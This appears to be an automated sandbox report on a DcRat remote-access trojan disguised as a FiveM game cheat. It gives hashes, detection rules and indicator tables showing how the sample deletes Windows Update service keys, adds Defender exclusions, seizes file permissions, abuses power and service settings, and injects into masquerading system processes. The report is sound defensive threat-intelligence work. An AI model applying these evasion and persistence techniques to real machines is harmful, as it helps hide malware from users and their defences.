dcrat | 1c0a9400bebcc834e63c18d20f9bf0ab073faa9525112178e2507072542e00a7

Analysis

user interaction
yes
max time kernel
887s
max time network
743s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 22:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
FiveM_External.exe
Size 8.2MB
Sample260910-2rnmsafa24
SHA256 1c0a9400bebcc834e63c18d20f9bf0ab073faa9525112178e2507072542e00a7
MD5 a3988c100166cddfe804578aaea0b946
SHA1 8107f9549c5077939e5f8665be80c1f21f3378ed
SHA512 bc606729bb194377b2f2ebb0e92dfd9251810b543e1774bab6155b2b06e3ee6fb4f780e925ce419b62bc4718bc5763ddce26f6027f9f835b86c152511df0c20a
SSDEEP 196608:sXjbVCIBF9P4xemNhsbq1H5aoLz+SLnVrLIs3KK3D3jNLT8:wjIIrt4xVNhSK5LLqSJJ3KKDp/
TLSH
T17E86330625B9D8B1CCD3C1B4CA9BBBD892553DB83AFC0783E9503C4A775B1A4691C3AD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit dcrat infostealer persistence rat

Malware Config

Signatures

Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/memory/6160-2-0x0000000000400000-0x00000000013D1000-memory.dmp	dcrat
behavioral2/files/0x000d00000001c5c1-17.dat	dcrat
behavioral2/memory/6292-25-0x0000000000C80000-0x0000000000E2E000-memory.dmp	dcrat
behavioral2/memory/6160-34-0x0000000000400000-0x00000000013D1000-memory.dmp	dcrat

Modifies security service 2 TTPs 5 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6252	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4536	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5352	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3472	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3292	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2596	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	996	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1516	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6404	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2484	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5040	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7144	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1804	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4784	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6276	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	616	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4556	3028	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	256	3028	schtasks.exe	96

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3412	powershell.exe
2772	powershell.exe
2456	powershell.exe
428	powershell.exe
6520	powershell.exe
4408	powershell.exe
1276	powershell.exe

Possible privilege escalation attempt 26 IoCs

exploit

pid	Process
952	takeown.exe
6504	takeown.exe
3504	takeown.exe
1684	icacls.exe
1440	takeown.exe
2748	icacls.exe
2456	takeown.exe
5480	icacls.exe
5700	takeown.exe
2476	icacls.exe
3952	icacls.exe
4424	takeown.exe
6396	takeown.exe
2448	takeown.exe
1056	icacls.exe
1508	takeown.exe
4304	icacls.exe
6044	icacls.exe
2588	takeown.exe
1608	icacls.exe
7000	icacls.exe
4752	icacls.exe
6476	icacls.exe
6932	icacls.exe
3300	takeown.exe
5808	takeown.exe

Executes dropped EXE 38 IoCs

pid	Process
3496	conhost_fv.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6188	karma_fivem.exe
6388	sihost.exe
400	karma_fivem.exe
3876	sihost.exe
2116	ctfmon.exe
1224	Idle.exe
5116	RuntimeBroker.exe
4368	sihost.exe
4300	updater.exe
5888	svchost.exe
2896	updater.exe
3580	svchost.exe
5424	updater.exe
1208	svchost.exe
5588	updater.exe
4304	svchost.exe
3252	updater.exe
4764	svchost.exe
404	updater.exe
3008	svchost.exe
4696	RuntimeBroker.exe
1460	updater.exe
4220	svchost.exe
5020	updater.exe
3420	svchost.exe
4852	ctfmon.exe
4544	updater.exe
4696	sihost.exe
3428	Idle.exe
4260	svchost.exe
6688	karma_fivem.exe
4212	updater.exe
2856	svchost.exe
2888	updater.exe
7016	svchost.exe
2324	updater.exe

Modifies file permissions 1 TTPs 26 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1440	takeown.exe
5480	icacls.exe
1056	icacls.exe
1508	takeown.exe
5808	takeown.exe
6044	icacls.exe
3952	icacls.exe
2748	icacls.exe
6476	icacls.exe
4304	icacls.exe
2588	takeown.exe
3504	takeown.exe
4752	icacls.exe
6396	takeown.exe
1608	icacls.exe
6932	icacls.exe
7000	icacls.exe
6504	takeown.exe
5700	takeown.exe
4424	takeown.exe
2456	takeown.exe
2448	takeown.exe
3300	takeown.exe
952	takeown.exe
2476	icacls.exe
1684	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 64 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5264	powercfg.exe
5516	powercfg.exe
1112	cmd.exe
2392	powercfg.exe
3608	powercfg.exe
5544	powercfg.exe
6872	powercfg.exe
5384	powercfg.exe
1048	powercfg.exe
6224	cmd.exe
3472	powercfg.exe
3004	cmd.exe
7108	powercfg.exe
3024	cmd.exe
4572	powercfg.exe
1372	powercfg.exe
7164	cmd.exe
1608	powercfg.exe
3912	powercfg.exe
3168	powercfg.exe
4536	powercfg.exe
1440	powercfg.exe
4984	powercfg.exe
5880	powercfg.exe
3396	powercfg.exe
4348	powercfg.exe
1004	powercfg.exe
3228	powercfg.exe
1124	powercfg.exe
5564	powercfg.exe
6088	powercfg.exe
4068	powercfg.exe
5816	powercfg.exe
5472	powercfg.exe
4496	powercfg.exe
6364	powercfg.exe
6872	powercfg.exe
2404	powercfg.exe
3896	cmd.exe
3844	powercfg.exe
4716	cmd.exe
4084	powercfg.exe
4952	powercfg.exe
4892	powercfg.exe
6420	cmd.exe
4364	cmd.exe
7124	cmd.exe
2300	powercfg.exe
1524	cmd.exe
5220	powercfg.exe
3724	powercfg.exe
3896	powercfg.exe
4144	powercfg.exe
3208	powercfg.exe
7104	powercfg.exe
6192	powercfg.exe
3808	cmd.exe
2588	powercfg.exe
1380	powercfg.exe
5316	powercfg.exe
6656	powercfg.exe
3708	powercfg.exe
2044	powercfg.exe
5564	cmd.exe

Drops file in System32 directory 46 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\DBCE.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\AFD1.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\5D82.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\72E.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\EE8C.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\FE47.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\328F.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\57A8.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\83A5.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\89AE.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\2AC1.tmp	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

SmartAssembly .NET packer 3 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral2/memory/6292-40-0x000000001B940000-0x000000001B94A000-memory.dmp	SmartAssembly
behavioral2/memory/6292-47-0x000000001B990000-0x000000001B99C000-memory.dmp	SmartAssembly
behavioral2/memory/6292-51-0x000000001C560000-0x000000001C56C000-memory.dmp	SmartAssembly

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
6160	FiveM_External.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 4300 set thread context of 5888	4300	updater.exe	220
PID 2896 set thread context of 3580	2896	updater.exe	259
PID 5424 set thread context of 1208	5424	updater.exe	297
PID 5588 set thread context of 4304	5588	updater.exe	336
PID 3252 set thread context of 4764	3252	updater.exe	377
PID 404 set thread context of 3008	404	updater.exe	414
PID 1460 set thread context of 4220	1460	updater.exe	454
PID 5020 set thread context of 3420	5020	updater.exe	495
PID 4544 set thread context of 4260	4544	updater.exe	538
PID 4212 set thread context of 2856	4212	updater.exe	578
PID 2888 set thread context of 7016	2888	updater.exe	617

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Windows NT\TableTextService\en-US\9e8d7a4ca61bd9	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files\Google\Chrome\updater.exe	conhost_fv.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\sihost.exe	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\66fc9ff0ee96c2	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\karma_fivem.exe	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\91917189f7acd2	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Program Files (x86)\Windows NT\TableTextService\en-US\RuntimeBroker.exe	fv_fontreviewmonitordllrefsvc.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_p0xqfrg5.cab.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_qmxcwuy0.ier.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_bq3casn5.vyr.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_2udndmwf.aqc.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pnvn3qf5.bwn.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_q3oprz4i.e5s.ps1	powershell.exe
File created	C:\Windows\ModemLogs\66fc9ff0ee96c2	fv_fontreviewmonitordllrefsvc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_myurfldc.dxs.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0rkorxdi.qkd.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_wzbp1au5.m2t.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pke2y5al.pxo.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_kbaljkbv.3n0.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_55s3yog5.3gl.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_vbwvsq13.5xe.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pckptmlm.szc.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_loc5woo5.d3k.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_nvhan15k.grs.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_uzywowy0.ve3.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fhuh3dfj.ahv.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_sycpt3ui.p3l.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_r1l4qbjn.gas.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jdits5ei.f2k.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_iirdfqzi.nds.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zheksbnl.4od.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_uwt0vaqa.zrl.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ysxwn34q.iyo.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_efm00a0q.svd.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hqbiqana.xa5.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_qgbkzzz2.v0l.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xmegut1t.saq.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_grwwnhdw.mvk.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_vh0d1yvc.lwq.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xzcu3m5d.sb2.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_frjapgkr.w4u.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_lizbww5p.kfb.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_13sxdmgh.zei.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_nvm2dgog.m4h.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_qqic2xir.ymw.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0n4kvvst.ux4.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_sf2hyowa.z4b.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0k1hqovw.vsm.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3rbyqjzj.cuu.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_34clpgla.wn4.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pcgmn0kv.vj2.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_z0fkjyjc.1wy.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zadj2jjx.112.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jaq0byto.eiy.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1o04fjnr.ytb.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pm0nnbtb.lsh.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3xqgyk1p.hlv.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_5sgk1zhd.oxy.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3b125xms.d2a.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xag0sfpj.qal.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_kp1m5yye.rvy.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_uxewnwpg.loo.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0zei5ztd.cbw.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_wln2sisf.iw3.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fynusup0.ap2.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gkbqu3u4.o3e.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xkb5h5fu.ikz.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0x2wxk02.y0i.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zrxfzsm0.dew.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_datryg0l.gmn.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_st44e2ls.ulo.ps1	powershell.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4348	sc.exe
5852	sc.exe
764	sc.exe
3868	sc.exe
6024	sc.exe
6572	sc.exe
6040	sc.exe
4536	sc.exe
2788	sc.exe
6668	sc.exe
1088	sc.exe
4236	sc.exe
5664	sc.exe
2596	sc.exe
5372	sc.exe
3704	sc.exe
6004	sc.exe
5308	sc.exe
4468	sc.exe
4124	sc.exe
1688	sc.exe
5540	sc.exe
3876	sc.exe
3736	sc.exe
3912	sc.exe
5448	sc.exe
5192	sc.exe
1976	sc.exe
6640	sc.exe
4428	sc.exe
7112	sc.exe
4348	sc.exe
1972	sc.exe
3208	sc.exe
7016	sc.exe
5808	sc.exe
6040	sc.exe
3472	sc.exe
4296	sc.exe
4368	sc.exe
3472	sc.exe
4488	sc.exe
2272	sc.exe
2788	sc.exe
5632	sc.exe
4000	sc.exe
5848	sc.exe
2324	sc.exe
4824	sc.exe
3652	sc.exe
6908	sc.exe
6328	sc.exe
1168	sc.exe
2376	sc.exe
5248	sc.exe
7140	sc.exe
6428	sc.exe
5828	sc.exe
3444	sc.exe
572	sc.exe
6644	sc.exe
4964	sc.exe
2580	sc.exe
6472	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 15 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5128	cmd.exe
5244	cmd.exe
5536	cmd.exe
4588	cmd.exe
1356	cmd.exe
5532	cmd.exe
4780	cmd.exe
7012	cmd.exe
2104	cmd.exe
6744	cmd.exe
248	cmd.exe
3996	cmd.exe
4556	cmd.exe
5872	cmd.exe
4140	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FiveM_External.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	updater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	updater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
